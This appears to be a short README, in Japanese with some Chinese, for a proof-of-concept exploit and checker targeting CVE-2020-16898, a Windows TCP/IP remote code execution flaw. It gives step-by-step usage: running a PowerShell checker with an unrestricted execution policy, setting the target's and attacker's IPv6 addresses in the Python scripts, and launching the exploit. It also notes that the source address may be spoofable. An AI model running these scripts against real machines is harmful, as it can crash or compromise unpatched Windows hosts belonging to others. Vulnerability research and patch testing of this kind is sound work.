
CVE-2020-16898(Windows TCP/IP のリモートコード実行の脆弱性)の概念実証エクスプロイトおよびチェッカー。IPv6 リンクローカルアドレスを対象とした Python ベースのエクスプロイトスクリプトを含みます。
CVE-2020-16898 Windows TCP/IP リモートコード実行の脆弱性 EXP&POC
forforever:https://www.cnblogs.com/forforever/p/13846077.html
CVE-2020-16898_Checker-poc
コマンド:
管理者としてPowerShell/CMDを起動
Powershell.exe -ExecutionPolicy UnRestricted -File .\CVE-2020-16898-poc.ps1
cve-2020-16898-exp2
条件:対象と通信可能で、対象のリンクローカルIPv6アドレスが分かっていること
使用方法
修改代码中的dst参数为目标的本地链接IPv6地址
然后攻击机执行
python3 CVE-2020-16898.py即可


CVE-2020-16898-exp1.py
対象の「IPv6アドレス」または「一時IPv6アドレス」と、自分のリンクローカルIPv6アドレスが必要
v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103" #修改为目标机的ipv6地址 或者 临时ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12" #攻击者的本地ipv6地址
しかし、テスト時にターゲットのリンクローカルIPv6アドレスを入力しても動作することが分かった。ローカルテストのためか、それとも送信元IPv6アドレスを偽装できるのかは不明である
修正後、直接実行する
python3 CVE-2020-16898-exp1.py